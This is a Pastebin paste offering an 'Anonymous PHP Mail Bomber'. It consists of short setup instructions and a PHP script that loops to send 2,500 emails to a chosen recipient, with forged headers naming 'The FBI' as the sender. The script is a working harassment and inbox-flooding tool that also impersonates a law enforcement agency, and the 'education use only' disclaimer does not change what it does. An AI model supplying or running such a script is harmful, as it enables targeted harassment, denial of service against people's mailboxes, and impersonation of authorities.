Advertisement
P_H_P

Anonymous PHP Mail Bomber

Dec 1st, 2012
510
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.02 KB | None | 0 0
  1. Create a new php file called mail.php
  2. Open on your website bomb for fun
  3. CAUTION : ANONYMOUS IS NOT LIEABLE FOR LEGAL CHALLANAGES OR COURT SUES
  4. DO WHAT YOU LIKE EDUCTION USE ONLY TBH
  5. Anonymous Blr-
  6.  
  7. CODE :
  8. <?php
  9. set_time_limit(0);
  10. for ($i = 1; $i <= 2500; $i++)
  11. {
  12.     $to = "";
  13.     $subject = "";
  14.     $message = "";
  15.  
  16.     $fromname = "The FBI";
  17.     $fromaddress = "";
  18.     $eol="n";
  19.     $headers = "From: ".$fromname."<".$fromaddress.">".$eol;
  20.     $headers .= "Reply-To: ".$fromname."<".$fromaddress.">".$eol;
  21.     $headers .= "Return-Path: ".$fromname."<".$fromaddress.">".$eol;
  22.     $headers .= "Message-ID: <".time()."-".$fromaddress.">".$eol;
  23.     $headers .= "X-Mailer: PHP v".phpversion().$eol;
  24.     $headers .= 'MIME-Version: 1.0'.$eol;
  25.     $headers .= "Content-type: text/html; charset=iso-8859-1".$eol.$eol;
  26.  
  27.     $sent = mail($to, $subject, $message, $headers);
  28.  
  29.     if($sent)
  30.     {
  31.         echo ("$i . Mail sucsessfully sent n ");
  32.     }
  33.     else
  34.     {
  35.         print "Something went wrong";
  36.     }
  37.  }
  38. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement